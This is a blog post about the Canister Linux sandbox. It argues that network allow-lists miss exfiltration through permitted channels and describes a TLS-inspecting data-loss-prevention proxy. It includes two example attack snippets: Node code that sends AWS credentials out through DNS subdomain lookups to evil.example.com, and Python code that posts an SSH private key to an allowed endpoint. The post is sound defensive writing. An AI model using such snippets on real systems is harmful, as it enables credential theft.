dergraf.org ↗NotesProjectsgithub ↗

A Network Allow-List Won't Stop Exfiltration

· 9 min read

Say you run a piece of untrusted code – an AI-generated script, a dependency’s postinstall hook, a build step from a repo you just cloned – inside a sandbox. You lock it down: no filesystem access outside the working directory, no network except the one domain it legitimately needs, no dangerous syscalls. That stops a lot of bad behavior.

It also has a blind spot, and it’s a big one.

I ran into this building Canister, a lightweight, unprivileged Linux sandbox – it stacks user namespaces, seccomp, and network isolation to run untrusted commands with minimal privileges, no root and no container runtime. But the blind spot below isn’t specific to Canister. It applies to any sandbox whose network policy is a domain allow-list, which is most of them.

The problem network allow-lists don’t solve

Say you’re running an npm install for a project that needs to reach registry.npmjs.org. You add that domain to your allow-list. The install runs. Everything works.

Except the dependency you just installed contains this:

const dns = require('dns');
const secrets = require('fs').readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');
const encoded = Buffer.from(secrets).toString('base64');
dns.resolve(`${encoded.substring(0, 60)}.evil.example.com`, () => {});

Your network policy allows DNS. The script exfiltrates your AWS credentials via DNS subdomain lookups. No unauthorized connection. No blocked domain. The data leaves through a channel you explicitly permitted.

Or consider a build script that posts logs to an allowed analytics endpoint:

import requests, base64, os
token = open(os.path.expanduser("~/.ssh/id_ed25519")).read()
requests.post("https://allowed-analytics.example.com/log", 
              data={"log": base64.b64encode(token.encode()).decode()})

Your SSH private key, base64-encoded, flows to an endpoint your policy allows. The sandbox did its job. The network filter did its job. The secret still leaked.

This is the gap network-level policies can’t close. The threat isn’t just unauthorized connections. It’s data flowing through authorized ones.

Recent supply chain context

This isn’t a theoretical problem. In November 2025, the Shai-Hulud worm hit the npm registry in a second wave (Sha1-Hulud), compromising hundreds of packages from Zapier, ENS Domains, PostHog, and others. The malware ran during the preinstall phase, installed credential scanners, and exfiltrated GitHub tokens, npm tokens, AWS keys, and SSH keys to attacker-controlled repositories.

Around the same time, the LiteLLM project disclosed multiple critical vulnerabilities in the Python ecosystem, including SQL injection, authentication bypasses, and server-side template injection that could be chained to steal credentials.

These weren’t one-off incidents. They were part of a pattern: package registries as credential harvesting infrastructure. Allow-lists can block unauthorized domains. They can’t tell the difference between legitimate API calls and encoded secrets in HTTP headers.

That’s the problem an L7 egress proxy with data-loss prevention is designed to address.

How it works

Every outbound TCP connection from the sandbox goes through a local HTTPS proxy running on the host. The sandbox can’t make direct connections: a seccomp supervisor – using SECCOMP_USER_NOTIF, the kernel feature that lets a parent process vet syscalls the sandbox makes – intercepts connect() and returns EPERM unless the process is connecting to 127.0.0.1:8080, the proxy.

The proxy handles:

  1. TLS termination. The proxy acts as a MITM. It terminates the client’s TLS session, inspects the plaintext HTTP request and response, then re-encrypts the connection upstream.

  2. Policy enforcement. Before forwarding anything, the proxy checks the target against your allow-list. Blocked domains return 403. No packet leaves the host.

  3. DNS entropy checks. High-entropy subdomains trigger warnings or blocks. A request to aws-akiaiosfodnn7example.attacker.com gets flagged because the subdomain looks like base64-encoded data. The DLP layer normalizes per-label entropy against the maximum for that length and detects chunked exfiltration patterns.

  4. Header and URI scanning. All request headers are scanned – there is no allowlist of header names to check. URIs are checked for embedded tokens.

  5. Body scanning. Request and response bodies are buffered (with size limits – requests over the threshold get a 413), decoded through multiple layers (base64, hex, percent-encoding, JSON escapes, HTML entities), decompressed (gzip, deflate, brotli, zstd), and scanned for secrets.

  6. Response scanning. API responses that leak credentials are caught before they reach the sandboxed process. If a service accidentally echoes back a token in an error message, it gets blocked.

The pipeline is: policy check → DNS entropy check → header scan → body scan → forward upstream → response scan → return to client. A single enforcement decision point. If a secret is detected and you’re running in --strict mode, the request is blocked and logged. In --monitor mode, the request is allowed but a warning is logged and an X-Canister-DLP-Warning header is added.

What gets caught

The DLP layer includes detectors for:

  • Cloud provider keys: AWS access keys, GCP service account keys, Azure connection strings
  • Version control tokens: GitHub personal access tokens, GitLab tokens
  • Package registry credentials: npm tokens, PyPI tokens
  • API keys: OpenAI, Anthropic, Google API keys, Stripe keys, Slack tokens
  • Database credentials: Postgres connection URIs (username, password, host parsed and checked)
  • Cryptographic keys: SSH private keys (RSA, Ed25519, ECDSA), PKCS#8 private keys
  • High-entropy tokens: Generic bearer tokens, JWTs, any high-entropy string that looks like a secret
  • Custom canary tokens: Inject known fake secrets at sandbox startup, verify they get blocked

Each detector has a home domain scope. A GitHub PAT can flow to github.com or api.github.com, but not to evil.example.com. An npm token can reach registry.npmjs.org, but not arbitrary endpoints. You can extend scopes per-recipe with extra_scopes.

The detector list is built from a single source-of-truth registry. Adding a new pattern is “add one entry to the registry” rather than “update four parallel lists and hope they stay in sync.”

Evasion resistance

Attackers encode secrets to evade pattern matching. The DLP layer handles this by working backwards through the encoding chain.

Encoding chains: The scanner recursively decodes base64, hexadecimal, and percent-encoding up to 32 layers deep. A request body like %7B%22token%22%3A%22NjhkMzZhYjY4ZDM2YWI2OGQzNmFiNjhkMzZhYg%3D%3D%22%7D (percent-encoded JSON containing base64) gets decoded to {"token":"68d36ab68d36ab68d36ab68d36ab"} and scanned. JSON \uXXXX escapes (including surrogate pairs) and HTML entities are decoded as well.

Decompression: If the Content-Encoding header says gzip, the body is decompressed before scanning. The scanner supports gzip, deflate, brotli, and zstd. It also sniffs magic bytes – if the header says text/plain but the body starts with 1f 8b, it’s treated as gzip and decompressed anyway. Mismatches trigger DLP evasion warnings.

DNS entropy: Subdomains are split into labels, and per-label Shannon entropy is calculated and normalized against the theoretical maximum for that label length. High-entropy labels look like base64-encoded data. The DNS entropy budget tracks cumulative high-entropy bytes per sandbox session to catch slow byte-at-a-time exfiltration. A single high-entropy DNS query might be legitimate. A thousand of them are not.

Streaming scanner: HTTP chunked transfer encoding can split a secret across chunk boundaries. The scanner uses a 256-byte overlap window. When processing chunk N, it rescans the last 256 bytes of chunk N-1 concatenated with the first 256 bytes of chunk N. Secrets that span chunks still get caught.

Fragment-aware decoding: Secrets embedded inside larger structures (JSON objects, XML documents, multipart form data) are extracted and scanned. A POST body like {"user": "alice", "token": "ghp_AKIAIOSFODNN7EXAMPLE", "timestamp": 123} doesn’t evade detection because the scanner pulls apart the JSON and scans each value.

Redaction: Matched secrets never appear in logs or structured events. The DLP layer redacts them to first4•••••sha256[..8] (len=N). A blocked GitHub PAT shows up as ghp_•••••a3f2b7c9 (len=40) in the logs. The actual token never touches disk.

What this does and doesn’t buy you

DLP is a second line of defense, not a first. It doesn’t replace reviewing code or vetting dependencies, and it isn’t a hard boundary the way a denied syscall is – it’s pattern matching over a decoded byte stream, and pattern matching has limits. There will be encodings a given implementation doesn’t unwrap, and high-entropy detection trades false positives against false negatives no matter where you set the threshold.

What it does buy you is coverage of the gap that network-level policy structurally cannot close: data leaving through a connection you authorized. An allow-list reasons about where a connection goes. A DLP proxy reasons about what’s inside it. Those are different questions, and a sandbox that answers only the first leaves the more interesting one on the table.

The design points worth stealing, regardless of implementation:

  • Decode before you scan, and decode recursively. Attackers nest encodings until you stop unwrapping; the scanner has to keep going one layer further.
  • Keep an overlap window across chunk and packet boundaries, or you’ll miss secrets split across two reads.
  • Treat DNS as an exfiltration channel, not just name resolution. Budget cumulative high-entropy bytes per session – one weird subdomain is noise, a thousand is a payload.
  • Drive detectors from a single registry so adding a pattern is one entry, not four parallel lists drifting out of sync.
  • Redact matches everywhere they’re logged. A DLP layer that writes the secret it just caught into your logs has only moved the leak.

A caveat worth stating plainly: this is recent, still-evolving code. The detector registry, the encoding chain, and the entropy thresholds are all things I’m actively expanding as new evasion tricks surface, and I won’t pretend the current set is complete or that I’ve found every channel. Treat it as a promising direction I’m still hardening, not a finished guarantee.

The implementation is Canister (Rust, Apache-2.0); the DLP architecture is written up in docs/DLP.md. If you want to know where I think it’s still weak and what kind of feedback would help most – especially attempts to slip a secret past it – I wrote that up in a separate note.